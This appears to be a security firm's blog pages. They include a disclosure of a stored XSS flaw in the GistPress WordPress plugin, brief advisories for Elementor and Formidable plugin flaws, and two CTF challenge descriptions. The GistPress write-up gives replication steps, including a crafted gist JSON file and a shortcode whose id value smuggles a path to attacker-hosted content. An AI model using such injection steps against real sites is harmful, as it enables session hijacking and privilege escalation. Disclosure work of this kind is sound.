Background Cross-Site Scripting (XSS) is a vulnerability resulting from the lack of or inadequate sanitisation carried out on user supplied data that is then later rendered back to a user. When an application includes user-supplied data in its HTTP response without proper sanitisation, any HTML or JavaScript included within that data would be executed when the response is rendered in the user’s browser. This behaviour could be leveraged by an attacker in order to compromise user sessions within the application. Allowing them to carry out unauthorised actions within the privileges of the victim. Details The shortcode function of gistpress version 3.0.1 was vulnerable to XSS. This was due to insecure handling of the “id” value of the shortcode ultimately allowing an attacker to request unanticipated URLs. To replicate the finding please follow these steps: 1. Go to https://gist.github.com2. Create a new file called “anything.json” with the contents like the example as shown below and save it: {“description”:””,”public”:true,”created_at”:”2020-01-10T20:58:12.000Z”,”files”: [“mdStyles”],”owner”:”keithcurtis1″,”div”:”n”,”stylesheet”:”https://github.githubassets.com/assets/gist-embed- 7f347f16d50778e1160a7bd9d4550bad.css”} Note: this contained a simple JavaScript alert message as the payload which is inert and safe to use for replication. Also note: The filename must end in “.json” because gistpress automatically appends “.json” before requesting the file. 3. Once saved that file was accessible from the gist URL shown below: https://gist.github.com/cornerpirate/42a96c5f059796086340d39bfb63eff8 4. Obtain the “raw” link to that content using the button as shown below: Figure 1 – Raw button shown on gist UI5. This gave a URL like the one shown below: https://gist.githubusercontent.com/cornerpirate/42a96c5f059796086340d39bfb63eff8/raw/d50ef9e2acb4227fbaefb69ac5e513d16ee80d13/anything.json 6. Create a new blog post and add a shortcode similar to the one shown below: [gist id=’cornerpirate/42a96c5f059796086340d39bfb63eff8/raw/56dacb78320139aaedfefdfe62eb92aa2748a355/anything’] Note: this used the URL to the raw version of the file saved on gist but with the “.json” part omitted. Having followed the above steps as a contributor level user the injected JavaScript command will execute whenever the post is previewed or viewed as shown below: Figure 2 – XSS Confirmed This functionality can be exploited by a contributor user who can create blog posts. That is a low privileged user account and typically a higher privileged user will be required to approve the post. This can be used to affect a privilege escalation by using JavaScript to execute commands on WordPress within the privileges of the higher user. Risk AnalysisRisk Category: High CVSSv3.1 Score: 5.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C)Explanation: XSS can pose a significant risk. Due to the likely use for privilege escalation in WordPress the risk categorisation of “high” was believed to be appropriate. Recommendation In this case the solution is to add input validation to prevent invalid gist “id” values. There is an expected format for these ids. An example id is shown below: 42a96c5f059796086340d39bfb63eff8 The intended value contained only characters in the 0-9 and a-f character sets. Additionally, the length of the id was 32 characters long. Gistpress should be updated to validate the “id” value matching that standard before attempting to download content. This would prevent the vulnerability. Vendor Response The gistpress project lead responded positively to the disclosure and patched the project as per this update.  The key part of the update is illustrated in Figure 3: Figure 3 – Validation Added The patch worked by using “preg_replace” to remove any non-alphanumeric characters from the “id” parameter value. Advise was provided stating that data sanitisation is not the most secure approach. The preferred solution should halt processing of the request if the “id” format is invalid. However, the XSS attack appeared adequately mitigated because the payload relied on the presence of the forward slash (“/”) character. The vulnerability had been mitigated by version 3.0.2 of gistpress. Affected Item The affected item was: Gistpress shortcode handling of the “id” parameter. In version 3.0.1 and lower

Cross-Site Scripting (XSS) in GistPress WordPress Plugin (CVE-2020-8498) Read More »

Pentest Limited

CVE-2020-8498

CVE ID – CVE-2020-8498 CVSS SCORE – 5.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C) AFFECTED VENDORS – GistPress AFFECTED PRODUCTS – GistPress WordPress Plugin VULNERABILITY DETAILS – XSS exists in the shortcode functionality of the GistPress plugin before 3.0.2 for WordPress via the includes/class-gistpress.php id parameter. This allows an attacker with the WordPress Contributor role to execute arbitrary JavaScript code with the privileges of other users (e.g., ones who have the publish_posts capability). ADDITIONAL DETAILS – The vendor triaged the vulnerability with the explicit fix listed here: https://github.com/bradyvercher/gistpress/commit/e3f260edb6673227b0471c74b7ab13c094411ef7 Gistpress was then updated to version 3.0.2 which addresses the vulnerabilty as per this release: https://github.com/bradyvercher/gistpress/releases/tag/v3.0.2 ADVICE – Pentest recommend updating GistPress to 3.0.2 to address the vulnerability. This plugin is not available from wordpress.org meaning that the update process requires manually downloading the most recent release and configuring it. DISCLOSURE TIMELINE: 16/01/2020 Disclosure to vendor 16/01/2020 Vendor acknowledged vulnerability 16/01/2020 Fix released CREDIT – Paul Ritchie, Sam Thomas  Read the indepth research on CVE-2020-8498 >

CVE-2020-8498 Read More »

Pentest Limited

CVE-2020-7055

CVE ID – CVE-2020-7055 CVSS SCORE – 8.9(AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C) AFFECTED VENDORS – Elementor AFFECTED PRODUCTS – Elementor WordPress Plugin VULNERABILITY DETAILS – The Elementor plugin (version 2.7.4 and below) was found to be vulnerable to an arbitrary file upload. Due to the application not handling zip files with directories properly an attacker could upload php files which were executable, this allowed any user able to import templates to execute commands on the underlying server. ADDITIONAL DETAILS – The vendor has released an update to patch this vulnerability. Information can be found here: https://elementor.com/ DISCLOSURE TIMELINE:28/10/2019 Disclosure to vendor29/10/2019 Vendor acknowledged vulnerability29/10/2019 Fix released CREDIT – Sam Thomas, Kyle Fleming Read more about the technical details and the disclosure of the vulnerability

CVE-2020-7055 Read More »

Avalanche 2 CTF | Pentest Limited

Avalanche 2 CTF

The challenge We are delighted to make Avalanche2 CTF available! It is the second appearance of the Avalanche CTF platform which is a petition/campaign website like 38 degrees or the UK.gov petitions site. With Avalanche we are presenting a CTF challenge that has clear learning objectives for anyone trying it. To complete this you likely learn a few things along the way. It is also based on reality in two important ways: ·     In a genuine application assessment, a penetration tester must find vulnerabilities within otherwise secure targets. To simulate that the site has a full range of functionality. You are encouraged to interact with the site as a legitimate user would first. This is to discover the full range of functionality before seeking to exploit anything. ·       Each part of the exploit chain is something which is like vulnerabilities located and exploited by us during real-world engagements. Some may find this trivial but there is also a fair bet that many could spend several hours or evenings. Hints Hint 1: Google “baking flask cookies”Hint 2: Google “Flask tutorial”Hint 3: The password is in the wordlist stored inside the web root. Getting Started  Download the CTF from here We have provided a PDF guide to load this VM within VMWare/VirtualBox within the zip file downloaded above. Where is the flag?  Your challenge is to get the password for the user with administrative privileges. Happy hunting to everyone Avalanche 2 CTF – The solution Many have tried, none have succeeded. So here it is, the moment you’ve all been waiting for. The solution to our Avalanche 2 CTF! The CTF is still available to try and if you have any questions regarding the solution please feel free to DM us via twitter. Click here for the official solution to Avalanche 2 >

Avalanche 2 CTF Read More »

Pentest Limited

CVE-2019-15780

CVE ID – CVE-2019-15780 CVSS SCORE – 9.0 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) AFFECTED VENDORS – Strategy11 AFFECTED PRODUCTS – Formidable Worpress Plugin VULNERABILITY DETAILS – The Formidable plugin (version 4.01.02 and below) was found to be vulnerable to a PHP Object Injection attack. Due to the application de-serialising untrusted user input, it was possible to insert a malicious payload which allowed an unauthenticated attacker to execute commands on the underlying server. ADDITIONAL DETAILS – The vendor has released an update to patch this vulnerability. Information can be found here: https://wordpress.org/plugins/formidable/#developers DISCLOSURE TIMELINE:05/08/2019 Disclosure to vendor06/08/2019 vendor acknowledged vulnerability09/08/2019 Fix released CREDIT – Sam Thomas, Nour Alomary

CVE-2019-15780 Read More »

Avalanche CTF | Pentest Limited

Avalanche CTF

The challenge Avalanche is a petition/campaign website like 38 degrees or the UK.gov petitions site. It allows users to register, create campaigns, vote on other campaigns. Originally created for BSides Scotland in 2019, Avalanche is based on real-world vulnerabilities found during our penetration test and red team engagements. This has been on a mini tour since May and has been attacked by over a hundred CTF enthusiasts and the following hints have been provided at the live events: It is implemented in Flask using python3, running on Ubuntu.  We are choosing to put this online for the community to play with now.   In and out of scope  The scope is:  Limited to the application available over HTTP on TCP port 80.  Outside of scope:  In real life you would not have local access to the VM.   Solutions which would rely on local access are outside of scope i.e. analysis of the hard disk or tampering with boot process.  Where is the flag?  This was originally a live event, we decided to include a visible flag for the folks in the room. It was a race to get the phone number of Agent Chaos ably played by Sir Sean Connery as shown:  Therefore, the goals are:  Obtain app.db (sqlite database file)  Identify agent chaos using these details:  User ID > 1000  About Me: includes word “Security”  Phone Number: includes “075”  This list will help you uniquely identify the details of Agent Chaos. Getting Started  Download the Avalanche CTF from here  Import into Virtual Box.  Power on until you see the login screen (note the boot messages are suppressed so a black screen for around a minute is expected).  Hopefully DHCP has worked and you have access to a host-only interface. Try the URLs listed until one works.  From that point it is a case of happy hunting!  Avalanche CTF – The solution Over 30 people managed to uncover the details of Agent Chaos, well done if you’re one of them! The official secrets act is now over and you are free to speak openly about your solutions. The CTF is still available to try and if you have any questions regarding the solution please feel free to DM us via twitter.  Click here for the official solution to the Avalanche CTF >

Avalanche CTF Read More »